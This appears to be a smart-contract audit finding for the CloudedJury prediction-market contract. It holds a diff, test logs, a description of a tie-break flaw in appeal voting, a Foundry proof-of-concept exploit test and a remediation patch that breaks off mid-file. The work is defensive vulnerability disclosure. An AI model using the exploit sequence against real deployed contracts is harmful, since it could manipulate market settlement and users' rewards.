         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
-        market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
-        if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
+        market.marketReveals += marketTokenOf_[msg.sender][_marketId].getLength();
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
-        if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
+        if (_currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
-        uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
+        uint256 _challengeStart = _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • CloudedJury.sol

Validation output

[output truncated: 1179 lines & 64.5380859375 KB skipped]
Ran 1 test suite in 9.84ms (3.33ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: revealing sets early APPEAL start timestamp: 0 != 86401] test_lastJurorCanObserveRunningTallyThenWithholdToChangeOutcomeAndAppealTiming() (gas: 3466022)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Appeal ties follow outcome order

High#298673Validity: Unreviewed

Comment:

If a jury outcome is appealed to DAO voting, a tie in votes defaults to the outcome with the lower ID.

Source locations

Uploaded archive/CloudedJury.sol (3 locations)

Lines 438-445 — _Resolution queries DAO votes and stores the helper result as the voting outcome._

            uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
            uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
            for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
            market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
        }

        uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
        _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
⋯ code omitted for brevity ⋯

Lines 557-566 — _Strict-greater winner selection makes the first tied outcome win._

    function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
        uint256 _winningOutcome;
        uint256 _winningAmount;
        for (uint256 i = 0; i < _marketOutcomes.length; i++) {
            if (_marketOutcomes[i] > _winningAmount) {
                _winningOutcome = _marketOutcomeIds[i];
                _winningAmount  = _marketOutcomes[i];
            }
        }
        return _winningOutcome;
⋯ code omitted for brevity ⋯

Lines 603-608 — _Any nonzero voting outcome takes precedence over jury and Clouded fallback outcomes._

    function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
        Market storage market = markets_[_marketId];
        if (!market.marketResolved)    return 0;
        if (market.votingOutcome != 0) return market.votingOutcome;
        if (market.juryOutcome != 0)   return market.juryOutcome;
        return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);

Description

When a challenged market has positive equal DAO vote totals, _calculateMarketOutcome retains the first outcome encountered because it updates only on strict greater-than. resolveMarket accepts that nonzero result as votingOutcome, so the normal jury and Clouded fallback outcomes are not consulted. The outcome array order is established by the market creator when Clouded creates the market, making ordering—not a majority or explicit tie rule—the settlement decision in a tied appeal. The all-zero case is different: the helper returns zero and the existing nonzero precedence falls through to the jury or Clouded outcome.

Root cause

The appeal winner calculation has no explicit equality or tie-resolution branch and treats array order as the implicit tie-break while resolveMarket treats any nonzero result as authoritative.

Impact

A tied appeal can direct the market's reward settlement to the first-listed outcome even though no DAO outcome has more support. A creator-controlled outcome ordering or an attacker who engineers an equal vote can therefore determine which outcome receives the winner treatment under a tie, rather than triggering an unambiguous fallback or tie-specific settlement.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal reporter = makeAddr("honest-reporter");
    address internal challenger = makeAddr("challenger");
    address internal yesVoter = makeAddr("dao-yes-voter");
    address internal noVoter = makeAddr("dao-no-voter");
    address internal trader = makeAddr("trader-who-backs-jury-outcome");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        manager.addToWhitelist(reporter);
        manager.addToWhitelist(challenger);
        vm.stopPrank();

        vm.deal(creator, 10_000 ether);
        vm.deal(reporter, 100 ether);
        vm.deal(challenger, 100 ether);
        vm.deal(yesVoter, 100 ether);
        vm.deal(noVoter, 100 ether);
        vm.deal(trader, 100 ether);

        // A large public mint bootstraps enough real DAO AMM liquidity for two
        // independent voters to buy DAO tokens through public swaps and cast
        // equal positive appeal votes. Minting also leaves the creator with
        // enough NFTs to satisfy max(5, totalSupply / 100) creation collateral.
        vm.prank(creator);
        jury.mint{value: 6_000 ether}(2_000);

        vm.prank(reporter);
        jury.mint{value: 3 ether}(1);

        vm.prank(challenger);
        jury.mint{value: 3 ether}(1);

        vm.prank(yesVoter);
        dao.swapHYPEForDAO{value: 10 ether}(0, block.timestamp + 1 days);
        vm.prank(noVoter);
        dao.swapHYPEForDAO{value: 10 ether}(0, block.timestamp + 1 days);

        assertGt(dao.balanceOf(yesVoter), 1 ether, "first voter bought enough DAO for one vote");
        assertGt(dao.balanceOf(noVoter), 1 ether, "second voter bought enough DAO for one vote");
    }

    function _firstN(uint256[] memory source, uint256 n) internal pure returns (uint256[] memory out) {
        out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) out[i] = source[i];
    }

    function test_appealTieResolvesToCreatorOrderedFirstOutcomeInsteadOfFallbacks() public {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES - creator listed first";
        outcomes[1] = "NO - jury and market-share fallback";

        // totalSupply is 2002, so create-market collateral is totalSupply / 100 = 20.
        uint256[] memory creatorCollateral = _firstN(jury.getUserTokenIds(creator), 20);
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);

        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Appeal tie order test",
            "The honest jury and market-share fallback will point to the second outcome, while equal DAO votes are tied.",
            outcomes,
            1,
            creatorCollateral,
            1,
            10
        );

        (, , uint256[] memory outcomeIds, uint256 startAt, , , , ) = clouded.getMarketInfo(1);
        uint256 firstListedOutcome = outcomeIds[0];
        uint256 fallbackOutcome = outcomeIds[1];

        // Make Clouded's own fallback winner the second-listed outcome by giving it
        // more outcome shares than the creator's first-listed initial buy.
        (uint256 quote,,) = clouded.getOutcomeBuyQuote(fallbackOutcome, 20);
        vm.prank(trader);
        clouded.buy{value: quote}(fallbackOutcome, 20, quote, 0);
        assertEq(clouded.getMarketWinningOutcome(1), fallbackOutcome, "Clouded fallback winner is not first-listed");

        // The only staked juror commits and reveals the second-listed outcome, so
        // the jury fallback also disagrees with the first-listed outcome.
        uint256 reporterToken = jury.getUserTokenIds(reporter)[0];
        bytes32 salt = keccak256("public salt");
        bytes32 commit = keccak256(abi.encodePacked(reporter, uint256(1), fallbackOutcome, salt));
        vm.prank(reporter);
        jury.stake(1, _singleton(reporterToken), commit);

        vm.warp(startAt + 1 days);
        vm.prank(reporter);
        jury.revealOutcome(1, fallbackOutcome, salt);

        jury.selectJury(1);

        uint256 challengerToken = jury.getUserTokenIds(challenger)[0];
        vm.prank(challenger);
        jury.challenge(1, challengerToken);

        // Two unrelated DAO holders use the public voting entry point to create a
        // positive tie: one vote for each outcome. The vulnerable resolver should
        // not be able to infer a majority winner from this state.
        vm.prank(yesVoter);
        dao.stakeToVote(firstListedOutcome, 1);
        vm.prank(noVoter);
        dao.stakeToVote(fallbackOutcome, 1);
        assertEq(dao.outcomeVotes(firstListedOutcome), 1, "first outcome has one DAO vote");
        assertEq(dao.outcomeVotes(fallbackOutcome), 1, "second outcome has one DAO vote");

        vm.warp(block.timestamp + 3 days);
        jury.resolveMarket(1);

        (,,,,, uint256 juryOutcome, uint256 votingOutcome,,, bool marketResolved) = jury.getMarketStoredInfo(1);
        (uint256 resolvedOutcome, uint8 status) = jury.getMarketDerivedInfo(1);

        assertTrue(marketResolved, "market resolved through real resolveMarket");
        assertEq(status, 4, "market is settled");
        assertEq(juryOutcome, fallbackOutcome, "jury fallback remains the second outcome");
        assertEq(clouded.getMarketWinningOutcome(1), fallbackOutcome, "Clouded fallback remains the second outcome");

        // Bug: _calculateMarketOutcome uses strict greater-than, so the equal
        // positive vote total leaves the first outcome in Clouded's creator-chosen
        // order as votingOutcome. Because votingOutcome is nonzero, it overrides
        // both fallback outcomes in _getResolvedMarketOutcome.
        assertEq(votingOutcome, firstListedOutcome, "positive tied appeal selected the first-listed outcome");
        assertEq(resolvedOutcome, firstListedOutcome, "first-listed tie winner controls settlement outcome");
        assertTrue(resolvedOutcome != juryOutcome, "tie result overrode the nonzero jury fallback");
    }

    function _singleton(uint256 value) internal pure returns (uint256[] memory arr) {
        arr = new uint256[](1);
        arr[0] = value;
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_appealTieResolvesToCreatorOrderedFirstOutcomeInsteadOfFallbacks() (gas: 9862127)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 31.94ms (4.55ms CPU time)

Ran 1 test suite in 32.91ms (31.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC executes the real CloudedJury.resolveMarket path and real CloudedDAO.stakeToVote votes through the configured Foundry unit harness. Harness-only vm.etch is used solely to instantiate CloudedManager's hard-coded external manager token for deployment/admin wiring; the exploit sequence itself uses public protocol entry points. The test demonstrates settlement-state impact, not end-user reward withdrawal or economic profitability.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Track whether the highest positive DAO vote total is shared by multiple outcomes. A unique later maximum clears prior tie state; a final positive tie returns zero, invoking the existing jury/Clouded fallback, while all-zero and unique-winner behavior remain unchanged. The mirrored contract sources are kept consistent because the repository contains both root and src copies.

Patch

diff
diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,650 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
